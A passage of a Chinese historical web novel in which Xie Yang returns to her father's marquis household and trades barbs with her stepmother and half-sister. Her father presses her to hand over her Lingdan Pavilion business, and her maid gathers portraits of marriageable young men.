谢泱住惯了气派开阔的山庄,乍然被领到这小院子里来,很是不适应,她颇有些不解地看向一旁的林孝文。
林孝文倒是面不改色,状似恭敬地笑到:“夫人特地吩咐过,说大小姐久居山庄,应是喜静,这听竹轩景色风雅,周边也安静,能免去不少叨扰。”
“听竹轩?这院里几竿瘦竹投下的竹荫怕是连只狸奴都罩不住吧,候府现在连间宽敞院子都收拾不出来了吗?”半夏忍不住讥讽道。
听见半夏的讽刺,林孝文仍旧是面不改色:“小姐恐是不大清楚,前两年侯爷抬了夏姨娘进门,去年府中又添了小少爷,宽敞的院子确实有些紧缺,还望小姐在此先安心住下。”
“无妨,还烦请林总管向夫人转告,这院子我很满意。”谢泱面上挂出一抹令人挑不出错处的笑容。
“小姐请放心,老奴定会转告。若无事,老奴便不打扰小姐休息了,夫人那边还命奴去给旻哥儿寻一张新的摇车呢。”
谢泱颔首,看着林孝文向正房方向离开。
旻哥儿...谢泱想起来了,谢云旻,罗漪华去年诞下的麟儿。
现如今罗漪华儿女双全,怕是更容不下她了。
“姑娘,他们简直是欺人太甚!给我们间这样的破院,可有将我们放在眼里!”
半夏实在想不通,自家小姐这些年赚的银子一个库房都堆不下,干嘛非要回来寻这劳什子苦吃。
茯苓比半夏稳重得多,她劝住半夏:
“这一路舟车劳顿,你给姑娘省点心吧,还不快来收拾院子好让姑娘好好休息。”
这边正说着,院子里突然一阵喧嚷。
“谢泱呢!快出来见我!”一阵尖锐的女声从窗外穿来。
谢泱嗤笑一声,带些无奈向茯苓说道:“这么快就有人上门来寻你家小姐的不痛快来了。”
话还没说完,房门被猝然推开——谢泱看着谢云萱气势汹汹的脸,只觉得这些年她一点长进也没有,还是那般幼稚与可笑。
谢云萱讨厌谢泱,更不想她回府,这些年府中只有她一个嫡出女儿,大家对她千捧万捧,久而久之,她也堂而皇之认为自己是知府家的嫡出大小姐,衣食住行派头十足不说,甚至样样都要和南安王府的郡主看齐。
两个时辰前谢云萱出门和祁阳侯家小姐去拾珍斋看首饰,那小蹄子竟然打趣说谢泱回来以后就得改口称呼她“谢二姑娘”了,这正正好好戳中了她的痛点,抛下人便回府要寻谢泱的麻烦。
“茯苓,去给二小姐看座,上茶”,谢泱仍是坐在圈椅上,不徐不疾地吩咐茯苓,咬字在“二”一字上不着痕迹地加重。
“是,大小姐。”茯苓心领神会,强调自家姑娘才是这府里的大小姐。
谢云萱被这主仆俩一唱一和弄得一怔,旋即反应过来是在嘲讽她,气急败坏指着谢泱这张“狐媚子”脸,骂道:
“你个在乡下庄子里长大的没见过世面的野丫头,一脸狐媚子相也配用''大小姐''来压我,等父亲回来,看他怎么治你!”
“什么乡下庄子,我家小姐住的是山庄,到底是谁没见过世面,连庄子和山庄都分不清...”半夏听了没忍住反驳。
谢云萱见谢泱的丫鬟也敢呛自己,怒气更甚,眼中凶光一闪,竟是拾起手边斟满滚烫茶水的杯子要往谢泱脸上泼。
半夏见势不对,快步一闪,一把钳住谢云萱作恶的手腕。
“咔擦”一声轻微的脆响——是谢云萱腕骨被死死捏住的声音,而那茶盏,硬生生悬停在空中,碗底被半夏的另一只手稳稳托住,滚烫的茶水在杯中晃了一晃,竟是一滴未洒。
别的不说,半夏的身手是很不错的。
“半夏,松手吧,好像弄疼我们二小姐了。”谢泱微微偏头,避开了那盏茶腾出的几缕热气,目光平静地落在谢云萱因疼痛而扭曲的脸上。
半夏猝然松手,谢云萱手腕失力猛地一坠,茶盏掉落,茶水便全淋在自己华丽的裙摆上,显得狼狈不堪。
谢泱站起来,收起了刚刚尚带着玩笑意味的语气,取而代之的是冷冰冰的警告:
“我看这些年府中把你宠的有些不知天高地厚了,直呼嫡长姐姓名不
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说,还意图对长姐动手,”
“谢云萱,我对你在意的那些可怜玩意儿不感兴趣,今日之事我只当你是仗着家中几分宠爱,耍耍小姑娘脾气,我脾气不好,忍不了你几次,若这种事再发生,我不介意将你这副嘴脸传扬出去,让整个凤阳府的人都好好瞧瞧,咱们永安侯府二小姐,在自己嫡长姐面前是个何等可恶的嘴脸,听明白了吗?”
谢云萱被谢泱的话怔住,刚才的牙尖嘴利仿佛都不复存在,只虚张声势留下一句“你等着瞧!”便落荒而逃了。
谢泱看着面前满地狼藉,终究是没忍住叹了叹气。
“姑娘,二小姐回头往老爷跟前告状可怎么办?”茯苓有些担忧地看向谢泱。
谢泱想了想,觉得也没什么可担忧的:“她要告状我们也拦不住,兵来将挡水来土掩呗。”
......
那边,谢云萱径直冲向了正院荣禧堂。
荣禧堂东侧耳房里,罗漪华刚刚安顿好闹觉的旻哥儿。
她今年三十有二,入主侯府多年,脸上也不曾留下岁月的痕迹,不难瞧出这些年她确实过的顺心顺意——除了那个贱人留下的女儿,她着实不想把她接回来,奈何侯爷频频催促,她几次三番旁敲侧击,侯爷都不向她说是什么原因,只说是要给她说亲。
她自然不信,要是只是这个原因,那前两年就该接回来相看人家了,何必要拖到现在,这其中必定有什么蹊跷!
侯爷既然非要接这小蹄子回来,那也别怪她了,一个商户女的女儿,想在凤阳找一门好亲事?做梦!
只可恨,人前她少不得还要装作视那小蹄子如己出的慈母模样,替她操办那劳什子及笄礼,想想便恨得牙痒痒。
她刻意安排那小蹄子住去那偏远的听竹轩,为的就是眼不见心不烦。
刚刚林孝文来回话,那小蹄子没闹着换院子,面上沉稳得很,倒是比当年有长进。但那又如何,这侯府如今是她当家,谅她也掀不起什么风浪。出嫁前她最好是乖乖听话,莫要挡了她萱姐儿和旻哥儿的路,否则,就别怪她心狠手辣了!
“娘——”
罗漪华还在想呢,一身狼狈的女儿就哭着扑进自己怀里,还没来得及细问,就听见女儿好一顿哭诉。
谢云萱把刚刚在竹荫院发生的事情添油加醋说了一遍,边说边向自己母亲展示带红痕的手腕。
“娘,她不仅打我、弄坏了我的衣裳,还说我不配当府里的小姐,呜呜——”谢云萱哭的梨花带雨。
“果然是没人教养的东西,举止间如此蛮狠,哪有点闺阁女子的做派,我定是要告诉你父亲的!”
“萱儿你放心,等你长姐出嫁,这府里依旧只有你一个嫡小姐,你且忍忍。”
罗漪华搂着谢云萱囔囔道,语气温柔,目光却渐渐狠毒起来。
她安慰好谢云萱后,起身走向书房。
书房里,谢元鼎刚处理完政务,他先是听下人来报谢泱那丫头已经进府了,正想着找来她再问问之前给她去的信中所说之事,后却被罗漪华拦住了。
罗漪华哭哭啼啼向谢元鼎讲了谢泱是如何如何欺负谢云萱的,谢元鼎越听越生气,好一个逆女,回府不拜见父母长辈,倒是先欺负上自己的妹妹了,岂有此理!
当下便吩咐人,叫谢泱来正堂拜见父母亲,也不管现在时辰已经晚了。
5. 劝说
听竹轩里,谢泱好不容易“送走”谢云萱,还没清净片刻,那边便又来人了
来的是一个嬷嬷,那嬷嬷给她行了个敷衍的礼,扯出一个不阴不阳的笑脸:“呦,见过大小姐,可算是把您盼来了,老奴是在夫人身边伺候的人,老爷和夫人眼下正在正厅里等着您呢,这便和奴过去吧。”
“父亲可真会体恤我这个做女儿的,辛苦赶路了一天,还不让人休息。”谢泱嘴上嘲讽,手上仍做着自己的事,并不看那嬷嬷。
那婆子见谢泱眼风都不给她一个,好一顿没脸,笑容直僵在脸上,却还是说:“老爷见您回府没去拜见他,很是生气,小姐还是快和我走吧。”
谢泱叹了一口气,今天一天她都没怎么休息,现在实在是不想去见她那父亲和罗漪华,但不见的话,她今晚估计也睡不了一个安稳觉了。
“带路吧。”谢泱终于看向那嬷嬷,府中的路她现在还不熟。
路上,那嬷嬷还不忘提点谢泱:“大小姐,恕奴多嘴,堂堂侯府小姐欺负自己的手足妹妹,要是传出去,对您、对侯府,名声可都不好听。”
“知道是多嘴你还说?我竟是不知道,堂堂侯府,一个下人也敢教训起主子来了,你算什么东西?”
谢泱毫不掩饰语气中的讥讽,罗漪华给她使绊子不说,连身边的狗奴才也要给她找不痛快。
“你......”那婆子终究是碍于尊卑有别,没再继续说下去。
到了正厅,谢泱脚还没跨进门,便听见一道中气十足的怒喝:“逆女!”
谢元鼎见她进了正厅,气不打一处来,旁边的罗漪华倒是一脸小意温柔,见丈夫动怒,连忙劝道:“老爷莫要动怒,泱姐儿久在庄子里,乍然回凤阳,想必是对城中事物都好奇着,在外贪玩,一时忘了时间,回府晚了也正常。”
这是说她没见过世面呢?谢泱一进门看见的便是这样一幅场景。
“你不用替这逆女说话!这些年她在庄子上野惯了,没成想,回府也是这副德行!”
谢泱站在那,看着一味指责她的谢元鼎,有时候真的怀疑,眼前这人真的是她的亲生父亲吗?还是说,这世上真的就有天生冷漠的父母,对自己的孩子没有一丁点的舐犊之情。
“父亲若是叫我来只是为了责骂我,那女儿便回去了,奔波一天,女儿也累了。”谢泱给谢元鼎行了一礼,说罢就要离开。
“站住!你没见你母亲还在这吗,还不过来行礼!”谢元鼎喊住她。
母亲?罗漪华也配当她的母亲?谢泱心里腾起一股戾气。
“我的母亲叫叶淑然,她早在六年前便过世了!父亲,难道您忘了吗?”她看向谢元鼎,眼神冷得仿佛结了一层冰。
一听到叶淑然这个名字,谢元鼎的气势就弱下去了几分,坐在她身旁的叶淑然见状,就知道自己的丈夫定是又想起了那个贱人。
这些年,每每提及叶淑然,丈夫都是这带些愧疚的模样,那女人,即便是死了也叫人如此可恨!
“元郎,妾身这些年光顾着萱姐儿和旻哥儿了,对泱姐儿的关心少之又少,泱姐儿不愿叫我母亲也是人之常情,都是妾身的不是,还望您莫要怪罪泱姐儿。”
罗漪华怯怯向谢元鼎请罪,说到最后竟是泫然预泣,捏着帕子抹泪,仿佛受到了多大的委屈。
这招果然奏效,谢元鼎见状,心中本就不多的愧疚感顷刻间就消失的无影无踪了,取而代之的是对自己夫人的心疼,明明是这逆女不懂事,却连带着罗漪华也受累。
“夫人莫要过于自责,夜深了,夫人先去休息吧,我还有话要对这逆女说。”谢元鼎拍了拍罗漪华的手,以示安慰。
“那妾身就不打扰老爷了。”罗漪华起身向丈夫施施然行了个礼,就回房了。
只是在转身出去的那一刻,罗漪华收起了刚刚温柔的模样——要她回避,这其中定然有什么猫腻!
见罗淑华离开了,谢泱心里的戾气消下去几分,拣了张椅子坐下,伸手端起一旁的茶喝了一口——到现在她一口茶还没喝呢!
谢元鼎刚刚被气得头疼,现在坐在正中的太师椅上,一只手揉着太阳穴,看起来颇为无奈。
“我问你,现在灵丹阁是不是在你的名下?”
叶淑然还在世时,灵丹阁在她名下,侯府染指不得谢元鼎也就不说什么了,反正这些年侯府也没少从里头抽银子。
只是叶淑然都过世这么多年了,灵丹阁对外挂的依旧是叶淑然的名,这就令他有些奇怪了。
他着人去查,前些日子下人来报,说是曾见过谢泱在灵丹阁,他这才怀疑起灵丹阁现在实际的大东家到底是谁。毕竟,东家去世了,铺子却发展的越来越好,或许外人不在意,但这对他、对侯府却很重要——
永安侯府祖上随太祖南征北战,立下赫赫战功,耀极一时。到了谢元鼎父辈这一代,虽说是天下逐渐太平,少有立战功的机会,但侯府把持凤阳军界多年,军中旧部门生数不胜数,影响力不容小觑。
可自从先帝迁都应天府,凤阳军权便被中都留守司接管,作为留都勋贵,永安侯府没了实权,生存空间不断被其他世家门阀挤压。
谢元鼎袭了侯位后,府中更是艰难。因此他这才娶了叶淑然为妻,叶家世代行商,家中堆金积玉,要不然凭她一个商户女,如何能做他的侯夫人。
谢元鼎从叶家得了不少钱财上的支持,当初叶淑然闹着要与他和离,也是用了近百万两白银作条件,这才让谢元鼎点了头,否则侯府怎么肯甘心!和离对他们这样的人家无异于羞辱。
只是这些年侯府要维持着庞大的府邸、仆役、各项人情往来开销,又没有实职带来进项,是流出去的多流进来的少,终究不是长久之计。
若是灵丹阁能为侯府所掌控,那便后顾无忧了,灵丹阁底下有遍布天下的济世堂,这点谢元鼎是很清楚的。
“是又如何,这灵丹阁早已和侯府无关,父亲问这个作甚?”谢泱仍是喝着那盏茶,一脸不在意的模样。
“你别忘了,你是侯府的女儿,闺阁女子抛头露面在外行商成何体统!再者说,你一个丫头片子,懂得什么经商之道,灵丹阁交给你也是胡闹,侯府中有不少精通商贸的幕僚,不如让为父挑一个,将灵丹阁交给侯府打理,也省得糟蹋了这好好的铺子。”谢元鼎语重心长,一脸为她着想的模样。
“嗤——”
谢泱听了,气极反笑:“父亲这算盘倒是打得响亮,一分力没出不说,轻飘飘几句话便要将灵丹阁这样大的产业拿去,不臊得慌吗?”
谢元鼎也没追究谢泱话里的不敬,倒是有几分苦口婆心地劝道:“过了笄礼你便满十六了,女子终究是要嫁人的,这
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灵丹阁你还能经营多久?凤阳显贵人家是不会允许有一个经商的儿媳进门的,你要是趁此作罢,不再沾手灵丹阁,为父定然为你挑选一门好亲事。”
“好亲事?不知父亲可有什么打算?”谢泱不想和谢元鼎掰扯太多,只是既然他提到了亲事,谢泱少不得要问一嘴,若是侯府给她扯的亲事符合她的要求,那也省的她自己挑。
她的亲事,谢泱有自己的打算。
若是抱着对情爱的幻想成亲,她自是不信这世间会有什么真心,她父母不就是很好的例子吗?但若是把亲事看作一门生意,那便不同了。她本就是一个商人,做生意只谈利益,不谈情义。既然要成亲,那她便要找一个不染指她的生意、还能给她带来助力的聪明男人,至于其他的,她可以一概不管。
谢泱其实很清楚,永安侯府空有一颗想要沾染她生意的心,却没有做好她生意的能力。但是在她找到下一个生意跳板之前,她必须要利用好永安侯府的资源。
谢泱少见的不呛话让谢元鼎有些意外,他原以为谢泱这些年独立惯了的作风也会延续到亲事上,看来是这丫头到年龄了,不用他们催,自己就会着急——这天下哪有真的不想嫁人的女子?嘴硬罢了,谢元鼎深以为然。
“好亲事自然是要慢慢挑,你放心,家中必然是为你好的,灵丹阁可以先放你手里,不过我刚才说的那些,你也要考虑起来。”
谢元鼎态度终究是软了下来,他知道自己这大女儿吃软不吃硬,脾气倔得像头驴。
谢泱内心讽笑,没再继续这个话题,而是问起了另一件事:“父亲可知,凤阳最近在查禁药一事。”
“你问这个作甚?”
“灵丹阁有一批药材被扣在码头半月有余了,去问也只说是在查禁药,我担心有人要对灵丹阁的货动手脚,这才想问问您知不知道这件事。”
既然谢元鼎已经知道了灵丹阁在她手上,她为何不利用侯府的势力来帮她解决眼下的麻烦呢?她相信谢元鼎会帮她,毕竟灵丹阁出了什么问题,对侯府可是一点好处都没有的。
谢元鼎沉吟片刻:“此事我倒是略有耳闻,说是京都那边出了点什么事,只是没有大肆宣扬,我也不太清楚,不过你要是想知道,我可以帮你查一下,码头那边,侯府也可以出面交涉。”
连谢元鼎也不太清楚吗,到底是哪里出了问题......谢泱真的有些看不明白了,不过目前,她也只能寄希望于侯府了。
“如此便好,若无事,女儿便告退了。”
谢泱正打算离开,又被谢元鼎叫住:“漪华她......毕竟是我明媒正娶的夫人,你若实在不愿叫她母亲,称她一声‘姨娘’也无妨,只是在外人面前莫要失礼,仍要称她为夫人,明白吗?”
谢泱嘴角噙起一丝若有似无的弧度,像是听了什么有趣又荒唐的事,并不回答。
谢元鼎见她这模样,叹了一口气,也没再说,话头转到了另一处:“你母...姨母,明天给你备了一场接风宴,这些年你不在家,对家中的人都不了解,趁着这个机会,也认认府中的姨娘、哥儿姐儿的,熟悉熟悉,省的出去让人笑话。”
对此谢泱倒是没拒绝,点点头,行了个礼就回房了。
回到听竹轩,由着半夏和茯苓服侍清洗了一番,谢泱就沉沉睡去了。
一夜无梦。
6. 姨娘
谢泱这一觉睡到日上三竿,醒来时已接近午时。
见她醒了,茯苓便着下人进来服侍洗漱。
“姑娘,待会接风宴您穿什么衣裳呢?”茯苓从柜子里挑了好些裙装出来,但她有些拿不准,这样的家宴小姐是第一次参加,虽说无须过于隆重,但若是太过素净,又容易被府里那些捧高踩低的看轻了去。
谢泱眼睛往那一排衣服扫过去,目光停在那件珍珠色十样锦花缎大袖衫上,纤纤玉指一点:“就这件吧。”
茯苓拿起那一件袖衫,越看越觉得合适:“那奴婢再给您配一条蓝色百褶如意月华裙吧”,上装沉稳,下装就可灵动些。
待茯苓给谢泱梳妆打扮好,一旁的半夏看着眼前顾盼生辉的少女,眼中有片刻失神。
“姑娘承了先夫人顶顶好的容颜,这些年出落得愈发有倾国之姿,我每每见了姑娘打扮,眼睛恨不得都粘在姑娘身上,等姑娘在凤阳各世家公子哥面前露了脸,还不知道会是怎样一副光景呢!”半夏一脸花痴,仿佛看着的不是自家小姐,而是心中的如意郎君。
谢泱和茯苓都被半夏夸张的惊叹逗得忍俊不禁。
“就数你嘴甜!”茯苓打趣道,“姑娘,时辰不早了,我们过去吧,耽搁了就不好了。”
谢泱今个本就起得晚,梳洗打扮又花了不少时间,等到了花厅,除了永安侯,其他人竟已是到齐了,小声聊着家常,倒也显得热闹。
虽说是家宴,没有外人在场,但侯府这些年添了不少人,七七八八加起来也坐满了一桌子。
只是不知为何,待谢泱一走进,原本有些吵嚷的花厅一瞬间安静下来,所有人的目光都落在这个亭亭身影上。
谢泱冷眼瞧着在座之人的反应,只觉得有些好笑,知道的是给她接风,不知道的还以为她是什么不速之客呢。
这府中的人大多对谢泱不熟,除了坐在罗漪华身边的谢云萱见谢泱来了翻了个白眼、“切”了一声以外,一时间竟是无人出声。
罗漪华看着其他人对谢泱的冷淡,心中很是得意,只是面上还要装作善解人意的样子:“泱姐儿来了,别站着了,快入座吧,你就坐侯爷旁边。”
说着便叫丫鬟引着谢泱往八仙桌正中间主位旁边的座位上引,一副主母做派。
谢泱瞧着这席面上的格局,正中主位空着,无疑是留给谢元鼎的,主位右侧坐着罗漪华,罗漪华旁边放着一木制高脚椅,上面坐着不满两岁的旻哥儿,由着奶娘在一旁伺候着。顺着下去坐着谢云萱,谢云萱旁边坐着的是一个她觉着面生的安静少女。
那少女旁边的夫人她倒是有印象——林姨娘。六年前她回府,曾见过林姨娘一面,听下人说,她原本是罗漪华身边的丫鬟,被侯爷宠幸有了身孕,这才被抬上来做了姨娘,想必谢泱觉得面生的少女,就是林姨娘的女儿了。
而剩下的这个坐在谢泱下方的,年龄看起来只有二十出头却梳着妇人发髻的鲜妍美人,应该就是父亲去年抬进来的夏姨娘了——她父亲这些年可真是“雄心不老”,这夏姨娘年纪轻的都可以和她做姐妹了。
这么看来,永安侯府这一辈确实是人丁稀薄,男丁就谢云旻这一个,也怪不得罗漪华地位越发稳固。
老永安侯子女不少,嫡子却只有两个,长子谢元鼎和次子谢元衡。谢元鼎袭了侯位后,胞弟谢元衡一家仍在永安侯府生活,至今未分家,其他几个庶兄弟早早就分府另过去了,只有逢年过节有往来。
只可惜,谢泱的那位叔父谢元衡十几年前就过世了,留下了她婶母王氏带着她堂妹谢云熙孤儿寡母的在侯府过活。谢元衡过世的时候,谢泱还小,叔父过世的消息还是在山庄时母亲告诉她的。
只是今天倒是没见着王氏和她那堂妹。
大概看了一圈,谢泱心里便对这些人谁是谁有了数,只是少不得还要麻烦她那“正头姨母”罗漪华替她介绍介绍。
“我这些年不在府中,对府里的人都面生的紧,还烦请姨母给我介绍介绍。”谢泱脸上挂着得体的微笑,看向罗漪华。
听到“姨母”这个称呼,罗漪华的笑容肉眼可见的僵住了,在场的气氛也一时微妙——
罗漪华进侯府已经十多年,比谢泱的母亲叶淑然在府中的时间长的多,在场的这些人,除了罗漪华和谢泱自己,剩下的人或是进府进的晚、或是生的晚,都没见过永安侯这位先头夫人,况且府中也不让提起叶淑然的名字,久而久之,大家都默认了侯府只有罗漪华这一位夫人。
谢泱当众叫罗漪华“姨娘”,倒是一点面子也没给罗漪华。
一旁的谢云萱听了当下就向谢泱发作起来:“谁给你的胆子叫我母亲姨娘,我母亲是侯府的正头夫人,你怎么敢!真是乡下来的没有教养的野丫头!”
又来了,又是这套词,谢泱耳朵都要起茧了。
比起谢云萱的恼羞成怒,谢泱脸上的笑意仍是盈盈,她垂眸,纤长的睫羽在瓷白的肌肤上投下淡淡阴影,眼神并不看向谢云萱,只是把玩着手上的瓷杯,淡淡出声:
“妹妹有什么立场来教训我,我母亲在侯府当家的时候,不知道妹妹还在哪里呢,哦,我想起来了——”
谢泱故意停顿了一下,看向谢云萱,眸中笑意更甚,说了下去:“妹妹那时候还在姨母肚子里吧。”
谢泱并没把话说完,但在场的人却都听明白了——这是在讽刺罗漪华没进门前就怀上了谢云萱。
这件事一直是罗漪华的痛处,虽然进府七个多月就生下了萱姐儿,但她对外都是宣称自己是早产生女,如今谢泱的话,无疑是把她的脸面踩在了地下。
“噗嗤——”一旁的夏姨娘听完谢泱的话,毫无顾忌地笑了出来。
“哎呀,没想到府中还有这般趣事呢,可惜我进府进的晚,都不曾听说呢。”说完眼神还在罗漪华和谢云萱之间来回瞟,语气中尽是幸灾乐祸。
夏姨娘年轻貌美,性子又泼辣,不似侯府别的女人喜欢在谢元鼎面前装温柔贤惠,她是个喜欢向侯爷撒娇的人,谢元鼎觉得她娇蛮可人,对她很是宠爱。
两个月前她又查出来了身孕,侯府现在处处紧着她,哄得她更是目中无人,她本就不喜欢罗漪华假惺惺的作态,现在抓着了她的痛处,当然要好好踩一脚。
罗漪华的手死死地握着,指甲几乎要将掌心掐出血来。
心里再恨,可偏偏她面上又不能表现出来,否则就是变相承认了,只能强行挤出一丝笑容:“泱姐儿你那时候还小,大概是记错了,没有这样的事呢......”
谢泱还想说些什么,却被一道厉喝打断——
“够了!吵吵嚷嚷的像什么样子!”
谢元鼎大步跨进来,他还在外头时就把花厅内的争吵听了个大概。
他往主位上一坐,不怒自威,冲着谢泱:“你胡说八道什么,你母亲就是这样教导你妄议长辈的事吗?还不快道歉!”
见谢元鼎进来,罗漪华又换上了大度的样子:“侯爷,不碍事的,我相信泱姐
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儿不是故意的。”
看父亲教训谢泱,一旁的谢云萱很是得意,她就知道父亲是向着她和母亲的,就算你谢泱回来了又怎样!
她见状便有些得意忘形,向谢元鼎得寸进尺地告状:“父亲,谢泱她还叫母亲姨母,真是一点教养也没有!”
“你也闭嘴,长辈说话哪有你插嘴的道理,还有,我什么时候教导你可以直呼长姐姓名了!”谢元鼎看着谢云萱,真是觉得这些年把这个女儿给宠坏了。
冷不丁听见向来宠溺自己的父亲责骂自己,谢云萱简直不敢置信,眼泪夺眶而出,猝然起身,竟是怒气冲冲地走了。
“萱儿!”罗漪华起身要去追,却被谢元鼎制止:“别管她!真是愈发没规矩了。”
谢泱看着这场闹剧,只觉得这府里的好戏真是一出接着一出。
谢元鼎没再管谢云萱,只是看向自己的夫人,终于想起了说正事:“泱姐儿的及笄礼备的如何了?”
谢泱听到谢元鼎提起她的笄礼,这才想起来还有这回事——接她回府就是为了这事。
只是对谢泱来说,她的母亲都过世了,这及笄礼对她来说还有什么意义呢?侯府无非是借着这个由头想让她在凤阳门阀世家面前露个脸,然后用她这个女儿来换一门对侯府有利的亲事罢了。
“帖子都发出去了,正宾请了三府的太姨娘,东西都备的差不多了,就差给泱姐儿的礼服还在赶制,但笄礼定在九月初三,离现在尚一月有余,定能来得及。”罗漪华回了谢元鼎的话。
“嗯,夫人安排妥当便好。”
说罢,谢元鼎又看向谢泱:“你这段时间就在家中好好学学规矩,省的笄礼在外人面前闹笑话。”
谢泱敷衍地点点头,但她却没有要把谢元鼎的话放心上的意思,她还有事忙呢。
经过前面闹得的那一出,这场家宴最终不欢而散。
饭毕,谢泱正要回听竹轩,走在路上却被一个意想不到的人叫住——
“姐姐!”少女轻柔的声音在身后叫住了谢泱。
谢泱回头,见是刚刚宴上那个坐在林姨娘身旁沉默的少女,停住了脚步。
那少女见状,追上了谢泱,脸颊因奔跑而有些红润。
“姐姐,你大概不认得我,我是林姨娘的女儿,我叫谢云烟。”
谢云烟看向谢泱的一双杏眼清凌凌的,真诚中又带了些羞涩。
她穿了一件半旧的月白绫袄,配一条青灰色百褶裙,一头青丝用一根素银扁簪简单挽在脑后——比起谢云萱一身奢华的衣料,她这一身看起来灰扑扑的,显然在府中并不受宠。
“姐姐刚回府不久,想必平日会有些无聊,若是不嫌弃,可以来蔷薇阁找我,妹妹可以给姐姐你解解闷。”
谢泱看着面前这个小鹿一般的少女,觉得很可爱,点了点头,同样回以一个真诚的笑容。
“烟儿——”远处林姨娘叫住谢云烟 ,看见谢泱,又远远地给她福了个礼。
“那姐姐我先回去了!”少女见姨娘喊自己,便向谢泱告辞。
说罢,就向林姨娘走去。
待谢泱走远,林姨娘拉住自己女儿,语气严肃:“烟儿,你少与她接触,你嫡母不喜欢她。”
“可是......”
“没有可是!若是被你嫡母知道了,定没有我们好果子吃,你听到没有。”林姨娘打断了谢云烟的话。
谢云烟听了,头低低垂下,最终没说什么,跟着林姨娘走了。
7. 画像
正院荣禧堂里,
罗漪华疲惫地靠在临窗大炕,炕椅上铺着大红金钱蟒靠背已有些陈旧。
柳嬷嬷将丫鬟呈上的安神茶无声放到罗漪华手边,挥手便叫人下去了,小心翼翼开口:“夫人,小姐正在房里摔东西,发了好大一通脾气,您看......”
罗漪华恨恨饮入一口茶水,仿佛要把心中的怒意也给压下去,听见柳嬷嬷的话,她砰的一声将茶杯置在一旁:“摔摔打打哪有一点大家闺秀的样子,就要嫁人的年纪了,也不知道收敛一点。”
“夫人放宽心,我们小姐毕竟是侯府的小姐,就算孩子气一点也没有哪个人家敢看轻的。”柳嬷嬷只能如此安慰道。
叹了一口气,罗漪华终究是随女儿去了,萱儿心中有气,她又何尝不是。
刚刚谢泱当众给她好大一个没脸,一点也没把她这个嫡母放在眼里,可恨的是老爷竟也只是责备了几句,就轻轻揭过了。
她很清楚,侯爷心里是看不上叶淑然那种商户女的,否则当初自己也没办法趁虚而入,只是现在突然重视起那贱人的女儿来,不对劲,这其中到底发生了什么她不知道的事。
不行,她一定要弄清楚。
“大小姐刚回府,府中规矩怕是不太清楚,你从这院里挑几个手脚伶俐、懂规矩的丫头,给大小姐送去。”
说罢给柳嬷嬷递了一个眼神,柳嬷嬷意会——这是往谢泱院子里插人,用来监视她。
“是,奴婢这就去办。”
“对了,午后无事,叫林姨娘过来叙一叙。”罗漪华又吩咐柳嬷嬷。
一刻钟后,林姨娘匆匆赶来。
“妾给夫人请安。”
林姨娘立在一旁,毕恭毕敬给座上的罗漪华福了个礼,听到罗漪华吩咐丫鬟赐座,这才侧身坐到下方的绣墩上。
“不知夫人寻妾来是有何事?”林姨娘小心翼翼地询问。
罗漪华就着丫鬟的手喝茶,并不看她,过了一会儿才仿佛想起来是自己邀林姨娘过来小叙的,笑着开口:“能有什么事,不过是无聊,叫你过来解解闷罢了。”
“你觉着,泱姐儿这人如何?”罗漪华仍是笑着看向林姨娘,只是那笑容有几分真就不可知了。
林姨娘闻言,手指不可察的捏紧了手中的帕子,心思几番流转,掂量着开口:“大小姐在庄子上待惯了,想是身边也没个人教导,说话没个分寸也正常,性子也冷些,倒是不如我们萱姐儿懂事可人。”
这话说在了罗漪华的心口上,只是面上还要装作一副痛心疾首的模样:“也怪我这个嫡母的不是,应该早些接她回来放在身边教导的,唉。”
林姨娘却不敢接这句话,只能听罗漪华继续说。
“只是毕竟隔了层肚皮,她对我这做继母的不喜,我也不知该如何关心她。”罗漪华说完便看向林姨娘。
她说的不甚清楚,林姨娘却听懂了,当即问道:“不知妾身能做些什么替夫人分忧?”
罗漪华满意地笑了:“也不用你帮我做些什么,只是泱姐儿好像是与她父亲有什么事情不愿同我说,你平日没事,可以帮我多关心关心泱姐儿,要是她有什么困难,我也好帮她不是?”
“是。”林姨娘垂首,应下了。
又闲聊了片刻,林姨娘正要告退,跨出厢房门时却被叫住——
“昨儿个侯爷可是歇在你那儿了?”罗漪华的声音听不出喜怒。
林姨娘的脸却是“唰”地白了,指尖冰凉。
“回夫人,是......侯爷路过,看了会儿书,亥时便走了。”她急急补充,声音有些颤抖。
“你看你,我又没有责怪你的意思,夏姨娘有了身子服侍不了侯爷,可不就指望着你了吗?”罗漪华淡淡道,“行了,你回去吧。”
“是,妾身告退。”
走出荣禧堂,林姨娘紧绷的肩膀忽地松下来,嘴唇死死咬住,眼眶渐渐红了,眼中说不清是委屈更多,还是恨意更多。
她突然想起了那个孩子,那个只在她肚子里待了四个月的男婴......
片刻后,林姨娘整理好情绪,面上又恢复了那副淡雅的样子,向蔷薇阁走去。
......
荣禧堂发生的事,谢泱一概不知。
她回来后,提笔写下一封信,想问问叶三关于那个在码头刺杀她的人的事。
信写完,正想让半夏去一趟灵丹阁,却不见那丫头的人影。
“半夏呢?”她问茯苓。
茯苓在院里找了一圈也没看到,回来告诉谢泱:“没看到她呢,好像刚刚出去了,指不定是去府里哪处玩去了呢,姑娘有急事吗,要不要我派人去寻她?”
谢泱闻言,想了想,反正那歹人已经死了,要查倒也不急于一时,就作罢:“不必了,我也没什么急事。”
之后,谢泱在房中看了会儿灵丹阁的账本,又午憩了半个时辰,只是这整整一个下午都没见着半夏。
不仅如此,在这之后几天,半夏每天都“早出晚归”,神神秘秘地不知道是去干嘛,问她也不说。
又一天傍晚,眼看天都擦黑了,也不见半夏人影。
“半夏这丫头也不知道上哪野去了,要不奴婢去找找她吧。”茯苓很是着急,毕竟这凤阳人身地不熟的,半夏要是出了点什么事可怎么好。
谢泱却不是很担心,半夏身手好着,普通人欺负不到她头上,但看着茯苓着急的样子,还是同意了。
茯苓正要出去,半夏却从院外跑进来,一脸兴奋,手中还拿着一叠纸,边跑边挥舞:“姑娘,你要的东西我弄到了!”
“半夏,你去哪了,怎么这么晚才回来?”茯苓看着突然出现的半夏,很是惊喜。
半夏来不及解释,一把拉着茯苓进了屋。
半夏进屋先猛灌了一大口茶,样子有些滑稽,弄得谢泱都忍不住问她:“慢点喝,你这是去干嘛了累成这样。”
半夏缓过来,一把把手中那叠纸交给了谢泱:“姑娘,你不是要凤阳城内年轻男子的画像吗?喏,都在这了,我可是费了好大劲才弄来的呢!”
谢泱看着手中的那叠画像,每张上面都有男子的全身像,下方小字则记录了该男子的年龄、功名、官职、家世等信息云云,甚至连生辰八字这等私密信息都陈列其中,十分详尽。
